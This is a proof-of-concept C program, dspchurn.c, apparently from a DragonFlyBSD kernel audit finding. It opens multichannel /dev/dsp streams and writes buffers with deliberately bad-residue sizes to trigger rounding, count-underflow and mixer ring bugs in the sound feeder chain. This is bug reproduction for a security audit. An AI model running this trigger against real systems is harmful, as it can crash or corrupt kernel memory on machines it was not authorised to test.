⬢ DragonFlyBSD Kernel Audit
DF-4848 / dspchurn.c
← back to finding ↓ download raw
/*
 * dspchurn.c — in-kernel churn for the FXROUND family (DF-4846..4849).
 * Opens N vchan children on /dev/dsp, sets multichannel S16 formats so the
 * chains contain feeder_volume/feeder_matrix/feeder_format, and paces
 * write() sizes to bad-residue values (where SND_FXROUND misrounds up),
 * targeting the feeder_volume count-underflow and feeder_mixer ring paths.
 */
#include <sys/soundcard.h>
#include <sys/ioctl.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define NCH	2

int
main(int argc, char **argv)
{
	int fds[NCH], i, j, r, channels[NCH] = { 6, 7 };
	int fmt = AFMT_S16_LE, speed = 48000;
	/* bad-residue write sizes for align 12/14 (see snd_fxdiv analysis):
	 * 8195/8207 (d=12), 5473/8201.. (d=14), plus 65536-block variants */
	static const int sizes[] = {
		8195, 8207, 8219, 5473, 5475, 16385, 16399, 32771, 32777,
		65520, 65532, 65525, 65536
	};
	int nsz = sizeof(sizes) / sizeof(sizes[0]);
	unsigned char buf[65536 * 2];
	audio_buf_info oi;
	long iters = (argc > 1) ? atol(argv[1]) : 200;

	memset(buf, 0x01, sizeof(buf));

	for (i = 0; i < NCH; i++) {
		fds[i] = open("/dev/dsp", O_WRONLY);
		if (fds[i] < 0) {
			perror("open /dev/dsp");
			return (1);
		}
		r = ioctl(fds[i], SNDCTL_DSP_SETFMT, &fmt);
		r |= ioctl(fds[i], SNDCTL_DSP_SPEED, &speed);
		channels[i] = channels[i];
		r |= ioctl(fds[i], SNDCTL_DSP_CHANNELS, &channels[i]);
		if (r < 0)
			perror("ioctl");
		fprintf(stderr, "child %d: fmt=%d ch=%d speed=%d\n",
		    i, fmt, channels[i], speed);
	}

	for (j = 0; j < iters; j++) {
		for (i = 0; i < NCH; i++) {
			int n = sizes[j % nsz] * channels[i] / 6;
			if (n > (int)sizeof(buf))
				n = sizeof(buf);
			r = write(fds[i], buf, n);
			if (r < 0) {
				perror("write");
				return (1);
			}
			/* pace: let the mixer drain toward bad-residue frees */
			usleep(3000);
			if (ioctl(fds[i], SNDCTL_DSP_GETOSPACE, &oi) == 0 &&
			    j < 3)
				fprintf(stderr,
				    "child %d ospace: frag=%d fsize=%d total=%d\n",
				    i, oi.fragments, oi.fragsize,
				    oi.bytes);
		}
	}
	for (i = 0; i < NCH; i++)
		close(fds[i]);
	printf("dspchurn: %ld iterations done, no error\n", iters);
	return (0);
}